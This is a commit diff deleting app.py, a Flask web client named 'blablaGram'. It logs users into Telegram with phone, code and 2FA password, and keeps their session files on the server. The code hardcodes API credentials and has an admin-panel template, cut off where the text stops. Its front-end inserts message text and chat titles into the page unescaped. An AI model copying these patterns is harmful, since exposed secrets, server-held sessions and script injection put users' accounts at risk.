Aleksmorshen commited on
Commit
d369e89
·
verified ·
1 Parent(s): 7a5dde6

Delete app.py

Browse files
Files changed (1) hide show
  1. app.py +0 -1495
app.py DELETED
@@ -1,1495 +0,0 @@
1
- import asyncio
2
- import hashlib
3
- import os
4
- import sqlite3
5
- import datetime
6
- from pathlib import Path
7
- import imghdr # Used for image detection
8
-
9
- from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
10
- from telethon.sync import TelegramClient
11
- from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
12
- from telethon.tl.functions.messages import ImportChatInviteRequest
13
- from telethon.tl.functions.channels import JoinChannelRequest
14
- from telethon.tl.types import User, Chat, Channel
15
-
16
- app = Flask(__name__)
17
-
18
- app.secret_key = os.urandom(24)
19
- API_ID = '22328650'
20
- API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
21
- HOST = '0.0.0.0'
22
- PORT = 7860
23
- SESSION_DIR = 'sessions'
24
- DOWNLOAD_DIR = 'downloads'
25
- DB_PATH = 'users.db'
26
-
27
- os.makedirs(SESSION_DIR, exist_ok=True)
28
- os.makedirs(DOWNLOAD_DIR, exist_ok=True)
29
-
30
- def init_db():
31
- with sqlite3.connect(DB_PATH) as conn:
32
- c = conn.cursor()
33
- c.execute('''CREATE TABLE IF NOT EXISTS users (
34
- id INTEGER PRIMARY KEY AUTOINCREMENT,
35
- telegram_id TEXT UNIQUE,
36
- username TEXT,
37
- phone TEXT,
38
- session_file TEXT,
39
- created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
40
- )''')
41
- conn.commit()
42
-
43
- async def get_user_client(user_id):
44
- with sqlite3.connect(DB_PATH) as conn:
45
- c = conn.cursor()
46
- c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
47
- result = c.fetchone()
48
- if not result:
49
- return None, "User not found in database."
50
- session_file = result[0]
51
-
52
- client = TelegramClient(session_file, API_ID, API_HASH)
53
- try:
54
- await client.connect()
55
- if not await client.is_user_authorized():
56
- return None, "Client not authorized. Please log in again."
57
- except Exception as e:
58
- return None, f"Failed to connect or authorize Telegram client: {e}"
59
- return client, None
60
-
61
- LOGIN_TEMPLATE = '''
62
- <!DOCTYPE html>
63
- <html lang="en">
64
- <head>
65
- <meta charset="UTF-8">
66
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
67
- <title>blablaGram - Login</title>
68
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
69
- <style>
70
- body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #E0EBF5 0%, #D0DBE8 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
71
- .container { background: #FFFFFF; padding: 45px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 450px; width: 90%; text-align: center; transform: translateY(-20px); animation: fadeIn 0.8s forwards ease-out; }
72
- @keyframes fadeIn { from { opacity: 0; transform: translateY(-40px); } to { opacity: 1; transform: translateY(0); } }
73
- h1 { color: #007AFF; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; text-shadow: 0 1px 2px rgba(0,0,0,0.05); }
74
- input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 15px; margin: 12px 0; border: 1px solid #E0E6EB; border-radius: 10px; background: #F8F9FA; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
75
- input[type="text"]:focus, input[type="password"]:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.15); outline: none; background: #FFF; }
76
- button { background: #007AFF; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: 600; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 15px rgba(0,122,255,0.2); }
77
- button:hover { background: #006ACD; transform: translateY(-2px); box-shadow: 0 6px 20px rgba(0,122,255,0.3); }
78
- button:active { transform: translateY(0); box-shadow: 0 2px 10px rgba(0,122,255,0.2); }
79
- .message { margin-top: 25px; padding: 16px; border-radius: 10px; font-size: 0.98em; line-height: 1.5; text-align: left; }
80
- .message.success { background: #E6FFF1; color: #1DB954; border: 1px solid #C8F0E0; }
81
- .message.error { background: #FFEBEE; color: #E53935; border: 1px solid #F0C8C8; }
82
- .message.info { background: #EBF8FF; color: #007AFF; border: 1px solid #C8E6F0; }
83
- .hidden { display: none; }
84
- @media (max-width: 600px) {
85
- .container { padding: 30px 25px; border-radius: 12px; }
86
- h1 { font-size: 2.5em; margin-bottom: 25px; }
87
- input[type="text"], input[type="password"] { padding: 13px; font-size: 1em; }
88
- button { padding: 13px 25px; font-size: 1.05em; margin-top: 20px; }
89
- .message { padding: 14px; font-size: 0.9em; }
90
- }
91
- </style>
92
- </head>
93
- <body>
94
- <div class="container">
95
- <h1>blablaGram</h1>
96
- <div class="form">
97
- <input type="text" id="phone" placeholder="Phone number (e.g., +1234567890)">
98
- <button onclick="startLogin()">Start Login</button>
99
- <input type="text" id="code" placeholder="Verification code" class="hidden">
100
- <input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
101
- <button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
102
- <button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
103
- </div>
104
- <div id="statusMessage" class="message hidden"></div>
105
- </div>
106
- <script>
107
- let phone = '';
108
- let phoneCodeHash = '';
109
- const statusMessageDiv = document.getElementById('statusMessage');
110
-
111
- function showMessage(msg, type = 'info') {
112
- statusMessageDiv.textContent = msg;
113
- statusMessageDiv.className = `message ${type}`;
114
- statusMessageDiv.classList.remove('hidden');
115
- }
116
-
117
- async function startLogin() {
118
- phone = document.getElementById('phone').value;
119
- if (!phone) {
120
- showMessage('Please enter your phone number.', 'error');
121
- return;
122
- }
123
- showMessage('Sending code...', 'info');
124
- document.getElementById('code').classList.add('hidden');
125
- document.getElementById('password').classList.add('hidden');
126
- document.getElementById('submitCode').classList.add('hidden');
127
- document.getElementById('submitPassword').classList.add('hidden');
128
-
129
- const response = await fetch('/api/login', {
130
- method: 'POST',
131
- headers: { 'Content-Type': 'application/json' },
132
- body: JSON.stringify({ phone, step: 'start' })
133
- });
134
- const result = await response.json();
135
- if (result.success) {
136
- if (result.phone_code_hash) {
137
- phoneCodeHash = result.phone_code_hash;
138
- document.getElementById('code').classList.remove('hidden');
139
- document.getElementById('submitCode').classList.remove('hidden');
140
- showMessage(result.message, 'success');
141
- } else {
142
- showMessage(result.message + ' Redirecting to app...', 'success');
143
- setTimeout(() => window.location.href = '/app', 1500);
144
- }
145
- } else {
146
- showMessage('Login failed: ' + result.message, 'error');
147
- }
148
- }
149
-
150
- async function submitCode() {
151
- const code = document.getElementById('code').value;
152
- if (!code) {
153
- showMessage('Please enter the verification code.', 'error');
154
- return;
155
- }
156
- showMessage('Submitting code...', 'info');
157
- const response = await fetch('/api/login', {
158
- method: 'POST',
159
- headers: { 'Content-Type': 'application/json' },
160
- body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
161
- });
162
- const result = await response.json();
163
- if (result.success) {
164
- showMessage(result.message + ' Redirecting to app...', 'success');
165
- setTimeout(() => window.location.href = '/app', 1500);
166
- } else if (result.password_required) {
167
- showMessage(result.message, 'info');
168
- document.getElementById('password').classList.remove('hidden');
169
- document.getElementById('submitPassword').classList.remove('hidden');
170
- document.getElementById('submitCode').classList.add('hidden');
171
- document.getElementById('code').classList.add('hidden');
172
- } else {
173
- showMessage('Login failed: ' + result.message, 'error');
174
- }
175
- }
176
-
177
- async function submitPassword() {
178
- const password = document.getElementById('password').value;
179
- if (!password) {
180
- showMessage('Please enter your cloud password.', 'error');
181
- return;
182
- }
183
- showMessage('Submitting password...', 'info');
184
- const response = await fetch('/api/login', {
185
- method: 'POST',
186
- headers: { 'Content-Type': 'application/json' },
187
- body: JSON.stringify({ phone, password, step: 'password' })
188
- });
189
- const result = await response.json();
190
- if (result.success) {
191
- showMessage(result.message + ' Redirecting to app...', 'success');
192
- setTimeout(() => window.location.href = '/app', 1500);
193
- } else {
194
- showMessage('Login failed: ' + result.message, 'error');
195
- }
196
- }
197
- </script>
198
- </body>
199
- </html>
200
- '''
201
-
202
- BLABLAGRAM_APP_TEMPLATE = '''
203
- <!DOCTYPE html>
204
- <html lang="en">
205
- <head>
206
- <meta charset="UTF-8">
207
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
208
- <title>blablaGram</title>
209
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
210
- <style>
211
- body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: #F8F9FA; overflow: hidden; }
212
- .app-layout { display: flex; height: 100vh; width: 100%; }
213
- .sidebar { flex: 0 0 340px; background: #FFFFFF; border-right: 1px solid #E5E9EC; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
214
- .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; align-items: center; justify-content: space-between; }
215
- .sidebar-header h2 { margin: 0; font-size: 1.6em; color: #007AFF; font-weight: 700; }
216
- .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #007AFF; padding: 8px; border-radius: 8px; transition: background-color 0.2s; }
217
- .sidebar-header .actions button:hover { background-color: #F0F8FF; }
218
- .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px;}
219
- .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background-color 0.2s; }
220
- .chat-item:hover { background-color: #F9FBFC; }
221
- .chat-item.active { background-color: #E6F3FC; }
222
- .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #007AFF; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; }
223
- .chat-info { flex: 1; overflow: hidden; }
224
- .chat-info h3 { margin: 0 0 5px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
225
- .chat-item.active .chat-info h3 { color: #007AFF; }
226
- .chat-info p { margin: 0; font-size: 0.88em; color: #66707B; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
227
-
228
- .chat-panel { flex: 1; display: flex; flex-direction: column; background-color: #F8F9FA; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Ty9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
229
- .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E5E9EC; display: flex; justify-content: space-between; align-items: center; }
230
- .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: #1C1C1C; }
231
- .chat-panel-header .header-actions button { background: #007AFF; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
232
- .chat-panel-header .header-actions button:hover { background: #006ACD; transform: translateY(-1px); }
233
- .chat-panel-header .header-actions button:active { transform: translateY(0); }
234
- .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
235
- .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
236
-
237
- .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
238
- .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
239
- .load-more-btn:hover { background: #006ACD; }
240
-
241
- .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.08); position: relative; }
242
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
243
- .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
244
- .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 5px; display: block; font-size: 0.88em; }
245
- .message-text { color: #111; word-break: break-word; }
246
- .message-meta { font-size: 0.72em; color: #88909B; margin-top: 6px; text-align: right; }
247
- .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
248
- .media-link { display: block; margin-top: 8px; color: #007AFF; text-decoration: none; font-weight: 500; word-break: break-all; font-size: 0.9em; }
249
- .media-link:hover { text-decoration: underline; }
250
-
251
- .chat-input-area { background: #F8F9FA; padding: 12px 25px; border-top: 1px solid #E5E9EC; display: flex; align-items: flex-end; gap: 12px; }
252
- .chat-input-area textarea { flex: 1; padding: 13px 18px; border: 1px solid #DDE2E7; border-radius: 22px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
253
- .chat-input-area textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
254
- .chat-input-area button { background: #007AFF; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
255
- .chat-input-area button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
256
- .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
257
-
258
- .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
259
- .join-chat-section { padding: 15px 25px; border-top: 1px solid #E5E9EC; display: flex; gap: 10px; background-color: #FFFFFF; }
260
- .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #DDE2E7; border-radius: 10px; font-size: 0.95em; }
261
- .join-chat-section button { background: #28A745; color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
262
- .join-chat-section button:hover { background: #218838; }
263
-
264
- /* Mobile Adaptation */
265
- @media (max-width: 768px) {
266
- .app-layout { flex-direction: column; }
267
- .sidebar { flex: 0 0 auto; width: 100%; height: 100vh; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.1); }
268
- .sidebar.active { transform: translateX(0); }
269
- .chat-panel { width: 100%; height: 100vh; position: relative; }
270
- .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: #007AFF; cursor: pointer; padding: 0 10px; margin-right: 10px; }
271
- .sidebar-header { justify-content: flex-start; } /* Align items to start when toggle is present */
272
- .sidebar-header h2 { flex-grow: 1; text-align: center; margin-right: 20px; } /* Center title but allow space for toggle */
273
- .sidebar-header .actions { margin-left: auto; }
274
-
275
- .chat-panel-header { padding: 15px 15px; }
276
- .chat-panel-header h2 { font-size: 1.15em; }
277
- .chat-input-area { padding: 10px 15px; }
278
- .message-item { max-width: 85%; padding: 10px 14px; font-size: 0.9em; }
279
- .avatar-placeholder { width: 44px; height: 44px; font-size: 1.5em; margin-right: 12px; }
280
- .chat-item { padding: 12px 15px; }
281
- }
282
- @media (min-width: 769px) {
283
- .sidebar-toggle-button { display: none; }
284
- }
285
- </style>
286
- </head>
287
- <body>
288
- <div class="app-layout">
289
- <div class="sidebar" id="sidebar">
290
- <div class="sidebar-header">
291
- <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
292
- <h2>blablaGram</h2>
293
- <div class="actions">
294
- <button onclick="newMessage()" title="New Message">✎</button>
295
- </div>
296
- </div>
297
- <div class="chat-list" id="chatList"></div>
298
- <div class="join-chat-section">
299
- <input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
300
- <button onclick="joinChat()">Join</button>
301
- </div>
302
- </div>
303
- <div class="chat-panel" id="chatPanel">
304
- <div class="chat-panel-header" id="appHeader">
305
- <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button>
306
- <div id="chat-header-info">
307
- <h2 id="chatTitle" style="display:none;"></h2>
308
- </div>
309
- <div class="header-actions">
310
- <button onclick="logout(true)" class="switch-account">Switch Account</button>
311
- <button onclick="logout(false)">Logout</button>
312
- </div>
313
- </div>
314
- <div class="no-chat-selected" id="noChatSelected">
315
- <p>Select a chat to start messaging</p>
316
- <p>Or click '✎' for a new message or enter a link/username to join a chat.</p>
317
- </div>
318
- <div class="messages-container" id="messagesContainer" style="display:none;">
319
- <button class="load-more-btn" id="loadMoreMessagesBtn" style="display:none;">Load More Messages</button>
320
- </div>
321
- <div class="chat-input-area" id="chatInputArea" style="display:none;">
322
- <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
323
- <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
324
- <textarea id="messageInput" placeholder="Message or caption" rows="1"></textarea>
325
- <button onclick="sendMessage()">➤</button>
326
- </div>
327
- </div>
328
- </div>
329
-
330
- <script>
331
- let currentChatId = null;
332
- let currentNextOffsetId = null;
333
- let isSidebarOpen = false;
334
- const MESSAGES_LIMIT = 30;
335
-
336
- function toggleSidebar() {
337
- const sidebar = document.getElementById('sidebar');
338
- isSidebarOpen = !isSidebarOpen;
339
- if (isSidebarOpen) {
340
- sidebar.classList.add('active');
341
- } else {
342
- sidebar.classList.remove('active');
343
- }
344
- }
345
-
346
- function adjustTextareaHeight() {
347
- const textarea = document.getElementById('messageInput');
348
- textarea.style.height = 'auto';
349
- textarea.style.height = Math.min(textarea.scrollHeight, 120) + 'px';
350
- }
351
- document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
352
-
353
- async function fetchChats() {
354
- const response = await fetch('/api/user_chats');
355
- const result = await response.json();
356
- const chatListDiv = document.getElementById('chatList');
357
- chatListDiv.innerHTML = '';
358
- if (result.success && result.chats) {
359
- result.chats.forEach(chat => {
360
- const chatItem = document.createElement('div');
361
- chatItem.className = 'chat-item';
362
- if (currentChatId === chat.id) {
363
- chatItem.classList.add('active');
364
- }
365
- chatItem.dataset.id = chat.id;
366
- chatItem.onclick = () => selectChat(chat.id);
367
- chatItem.innerHTML = `
368
- <div class="avatar-placeholder">${chat.avatar_initial}</div>
369
- <div class="chat-info">
370
- <h3>${chat.title}</h3>
371
- <p>${chat.type}</p>
372
- </div>
373
- `;
374
- chatListDiv.appendChild(chatItem);
375
- });
376
- } else {
377
- chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
378
- }
379
- }
380
-
381
- async function selectChat(chatId) {
382
- currentChatId = chatId;
383
- currentNextOffsetId = null;
384
-
385
- document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
386
- document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
387
-
388
- const selectedChat = document.querySelector(`.chat-item[data-id="${chatId}"]`);
389
- const chatTitle = selectedChat.querySelector('h3').textContent;
390
-
391
- document.getElementById('noChatSelected').style.display = 'none';
392
- document.getElementById('chatTitle').textContent = chatTitle;
393
- document.getElementById('chatTitle').style.display = 'block';
394
- document.getElementById('messagesContainer').style.display = 'flex';
395
- document.getElementById('chatInputArea').style.display = 'flex';
396
- document.getElementById('messagesContainer').innerHTML = '';
397
- document.getElementById('loadMoreMessagesBtn').style.display = 'none';
398
-
399
- if (window.innerWidth <= 768) {
400
- toggleSidebar();
401
- }
402
- await fetchMessages(chatId);
403
- }
404
-
405
- async function fetchMessages(chatId, offsetId = null) {
406
- const messagesContainer = document.getElementById('messagesContainer');
407
- const loadMoreBtn = document.getElementById('loadMoreMessagesBtn');
408
-
409
- if (!offsetId) { // First load for this chat
410
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
411
- loadMoreBtn.style.display = 'none';
412
- } else {
413
- loadMoreBtn.textContent = 'Loading...';
414
- loadMoreBtn.disabled = true;
415
- }
416
-
417
- const url = `/api/chat_messages/${chatId}?limit=${MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
418
- const response = await fetch(url);
419
- const result = await response.json();
420
-
421
- if (!offsetId) { // Clear only on initial load
422
- messagesContainer.innerHTML = '';
423
- }
424
-
425
- if (result.success && result.messages) {
426
- result.messages.reverse().forEach(msg => {
427
- const messageItem = document.createElement('div');
428
- messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
429
-
430
- let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
431
- let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
432
- let mediaHtml = '';
433
-
434
- if (msg.file_name) {
435
- const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
436
- if (msg.is_image) {
437
- mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
438
- } else {
439
- mediaHtml = downloadLink;
440
- }
441
- }
442
-
443
- let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
444
- let metaHtml = `<div class="message-meta">${msg.date}</div>`;
445
-
446
- messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
447
- messagesContainer.prepend(messageItem);
448
- });
449
-
450
- currentNextOffsetId = result.next_offset_id;
451
- if (currentNextOffsetId) {
452
- loadMoreBtn.style.display = 'block';
453
- loadMoreBtn.textContent = 'Load More Messages';
454
- loadMoreBtn.disabled = false;
455
- } else {
456
- loadMoreBtn.style.display = 'none';
457
- }
458
-
459
- if (!offsetId) { // Only scroll to bottom on initial load
460
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
461
- }
462
- } else {
463
- if (!offsetId) {
464
- messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
465
- } else {
466
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
467
- loadMoreBtn.style.display = 'none';
468
- }
469
- }
470
- }
471
-
472
- document.getElementById('loadMoreMessagesBtn').addEventListener('click', () => {
473
- if (currentChatId && currentNextOffsetId) {
474
- fetchMessages(currentChatId, currentNextOffsetId);
475
- }
476
- });
477
-
478
- async function newMessage() {
479
- const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
480
- if (!recipient) return;
481
- const message = prompt("Enter your message:");
482
- if (!message || !message.trim()) return;
483
-
484
- const response = await fetch('/api/send_message', {
485
- method: 'POST',
486
- headers: { 'Content-Type': 'application/json' },
487
- body: JSON.stringify({ chat_id: recipient, message: message })
488
- });
489
- const result = await response.json();
490
- alert(result.message);
491
- if (result.success) {
492
- fetchChats();
493
- }
494
- }
495
-
496
- async function sendMessage() {
497
- if (!currentChatId) return;
498
- const messageInput = document.getElementById('messageInput');
499
- const message = messageInput.value;
500
- if (!message.trim()) return;
501
-
502
- messageInput.value = '';
503
- adjustTextareaHeight();
504
-
505
- const messagesContainer = document.getElementById('messagesContainer');
506
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Sending message...</p>' + messagesContainer.innerHTML;
507
-
508
- const response = await fetch('/api/send_message', {
509
- method: 'POST',
510
- headers: { 'Content-Type': 'application/json' },
511
- body: JSON.stringify({ chat_id: currentChatId, message })
512
- });
513
- const result = await response.json();
514
- if (result.success) {
515
- currentNextOffsetId = null; // Reset offset to fetch all latest messages
516
- await fetchMessages(currentChatId);
517
- } else {
518
- alert('Failed to send message: ' + result.message);
519
- messageInput.value = message;
520
- adjustTextareaHeight();
521
- }
522
- }
523
-
524
- async function handleFileSelect() {
525
- const fileInput = document.getElementById('fileInput');
526
- if (fileInput.files.length === 0) return;
527
-
528
- const file = fileInput.files[0];
529
- const messageInput = document.getElementById('messageInput');
530
- const caption = messageInput.value;
531
-
532
- const formData = new FormData();
533
- formData.append('chat_id', currentChatId);
534
- formData.append('file', file);
535
- formData.append('caption', caption);
536
-
537
- messageInput.value = '';
538
- fileInput.value = '';
539
- adjustTextareaHeight();
540
-
541
- const messagesContainer = document.getElementById('messagesContainer');
542
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
543
-
544
- const response = await fetch('/api/send_file', {
545
- method: 'POST',
546
- body: formData
547
- });
548
- const result = await response.json();
549
- if (result.success) {
550
- currentNextOffsetId = null;
551
- await fetchMessages(currentChatId);
552
- } else {
553
- alert('Failed to send file: ' + result.message);
554
- }
555
- }
556
-
557
- async function joinChat() {
558
- const chatIdentifier = document.getElementById('joinChatIdentifier').value;
559
- if (!chatIdentifier.trim()) {
560
- alert('Please enter a channel/group username or invite link.');
561
- return;
562
- }
563
- const response = await fetch('/api/join_chat', {
564
- method: 'POST',
565
- headers: { 'Content-Type': 'application/json' },
566
- body: JSON.stringify({ chat_identifier: chatIdentifier })
567
- });
568
- const result = await response.json();
569
- alert(result.message);
570
- if (result.success) {
571
- document.getElementById('joinChatIdentifier').value = '';
572
- await fetchChats();
573
- }
574
- }
575
-
576
- async function logout(switchToNew = false) {
577
- const confirmation = switchToNew ? true : confirm('Are you sure you want to log out? This will disconnect your Telegram account from this app.');
578
- if (confirmation) {
579
- await fetch('/api/logout', { method: 'POST' });
580
- window.location.href = '/';
581
- }
582
- }
583
-
584
- document.getElementById('messageInput').addEventListener('keydown', (e) => {
585
- if (e.key === 'Enter' && !e.shiftKey) {
586
- e.preventDefault();
587
- sendMessage();
588
- }
589
- });
590
-
591
- fetchChats();
592
- </script>
593
- </body>
594
- </html>
595
- '''
596
-
597
- ADMHOSTO_TEMPLATE = '''
598
- <!DOCTYPE html>
599
- <html lang="en">
600
- <head>
601
- <meta charset="UTF-8">
602
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
603
- <title>blablaGram - Admin Panel</title>
604
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
605
- <style>
606
- body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
607
- .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
608
- h1 { text-align: center; color: #007AFF; margin-bottom: 30px; font-weight: 700; font-size: 2.5em; }
609
- h2 { text-align: center; color: #1C1C1C; margin-bottom: 25px; font-weight: 600; font-size: 1.8em; }
610
- table { width: 100%; border-collapse: separate; border-spacing: 0; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.05); }
611
- th, td { padding: 16px 20px; text-align: left; border-bottom: 1px solid #EFF2F5; }
612
- th { background: #F0F5F8; color: #55606F; font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
613
- tr:last-child td { border-bottom: none; }
614
- tr:nth-child(even) { background: #FDFEFE; }
615
- tr:hover { background: #E6F3FC; }
616
- a { color: #007AFF; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
617
- a:hover { text-decoration: underline; }
618
- .back-button { margin-top: 40px; text-align: center; }
619
- .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
620
- .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
621
- @media (max-width: 768px) {
622
- body { padding: 15px; }
623
